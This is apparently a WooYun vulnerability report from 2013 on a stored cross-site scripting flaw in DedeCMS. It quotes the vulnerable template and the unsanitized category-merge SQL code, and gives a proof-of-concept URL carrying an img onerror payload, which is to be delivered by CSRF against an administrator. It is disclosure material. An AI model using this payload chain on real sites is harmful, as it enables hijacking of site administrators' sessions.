当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-038937

漏洞标题:Dedecms 一处有意思的xss

相关厂商:Dedecms

漏洞作者: 路人甲

提交时间:2013-10-16 19:22

修复时间:2014-01-11 19:23

公开时间:2014-01-11 19:23

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-16: 细节已通知厂商并且等待厂商处理中
2013-10-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-12-15: 细节向核心白帽子及相关领域专家公开
2013-12-25: 细节向普通白帽子公开
2014-01-04: 细节向实习白帽子公开
2014-01-11: 细节向公众公开

简要描述:

很有意思的一处BUG

详细说明:

1.代码弱点在文章编辑模板那里 dede/templets/article_edit.htm

<tr>
<td height="24" colspan="2" class="bline"><table width="800" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="90">&nbsp;文章副栏目:</td>
<td><span id='typeid2ct'></span>
<input type='text' name='typeid2' id='typeid2' value='<?php echo ($arcRow['typeid2']=='0' ? '' : $arcRow['typeid2']); ?>' style='width:200px;' />
<img src='images/menusearch2.gif' style='cursor:pointer;' onClick="ShowCatMap(event, this, <?php echo $channelid; ?>, 'typeid2', '<?php echo $arcRow['typeid2']; ?>')" alt='选择副栏目' title='选择副栏目' /></td>
</tr>
</table></td>
</tr>


由于channelid在数据库中是int,而typeid2字段在数据库中为varchar型,也就是说只要这个参数可控,我们就可以XSS。
2.只要我们可以修改数据中的这个字段的值,我们就可以完成存储XSS的任务
看这个页面代码 dede/catalog_do.php

.......
if(empty($dopost))
{
ShowMsg("对不起,请指定栏目参数!","catalog_main.php");
exit();
}
$cid = empty($cid) ? 0 : intval($cid);
$channelid = empty($channelid) ? 0 : intval($channelid);
.......
/*----------------
合并栏目
function unitCatalog() { }
-----------------*/
else if($dopost == 'unitCatalog')
{
......
if(empty($nextjob))
{
......
if(!empty($row['dd']))
{
ShowMsg("栏目: $typename($typeid) 有子栏目,不能进行合并操作!", '-1');
exit();
}
......
exit();
}
else
{
if($typeid==$unittype)
{
ShowMsg("同一栏目无法合并,请后退重试!", '-1');
exit();
}
if(IsParent($unittype, $typeid))
{
ShowMsg('不能从父类合并到子类!', 'catalog_main.php');
exit();
}
$row = $dsql->GetOne("SELECT addtable FROM `#@__channeltype` WHERE id='$channelid' ");
$addtable = (empty($row['addtable']) ? '#@__addonarticle' : $row['addtable'] );
$dsql->ExecuteNoneQuery("UPDATE `#@__arctiny` SET typeid='$unittype' WHERE typeid='$typeid' ");
$dsql->ExecuteNoneQuery("UPDATE `#@__feedback` SET typeid='$unittype' WHERE typeid='$typeid' ");
$dsql->ExecuteNoneQuery("UPDATE `#@__archives` SET typeid='$unittype' WHERE typeid='$typeid' ");
$dsql->ExecuteNoneQuery("UPDATE `#@__archives` SET typeid2='$unittype' WHERE typeid2='$typeid' ");
$dsql->ExecuteNoneQuery("UPDATE `#@__addonspec` SET typeid='$unittype' WHERE typeid='$typeid' ");
$dsql->ExecuteNoneQuery("UPDATE `$addtable` SET typeid='$unittype' WHERE typeid='$typeid' ");
$dsql->ExecuteNoneQuery("DELETE FROM `#@__arctype` WHERE id='$typeid' ");
....


我们看行代码

$dsql->ExecuteNoneQuery("UPDATE `#@__archives` SET typeid2='$unittype' WHERE typeid2='$typeid' ");


因为该页面只对$cid 和 $channelid变量进行了整数化,而未对$typeid变量和$unittype变量进行相应的处理。
攻击需要的条件如下:
受害者网站 需要有自己添加的栏目,然后我们根据栏目里面的文章,进行修改里面的typeid2的值
接着用下面的代码可以修改表里面的typeid2这个字段的值(可以修改的原因:看上面的源代码)

http://localhost/uploads/dede/catalog_do.php?dopost=unitCatalog&nextjob=1&typeid=0&unittype=%27%3E%3Cimg%20src=%22x%22%20onerror=%22alert%281%29%22%3E


只要管理员访问这个链接,数据库的这个字段就被修改为

QQ截图20131005210909.png


然后因为这漏洞是因为编辑文章页面太信任typeid2变量,当victim 观看这个页面的时候

QQ截图20131005211104.png


然后其源代码为

QQ截图20131005211215.png


利用方法就是用CSRF,让管理员默默请求这个URL,接着只要等管理员编辑文章就上钩了。

漏洞证明:

QQ截图20131005211104.png


QQ截图20131005211215.png

修复方案:

你们更专业

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-01-11 19:23

厂商回复:

最新状态:

暂无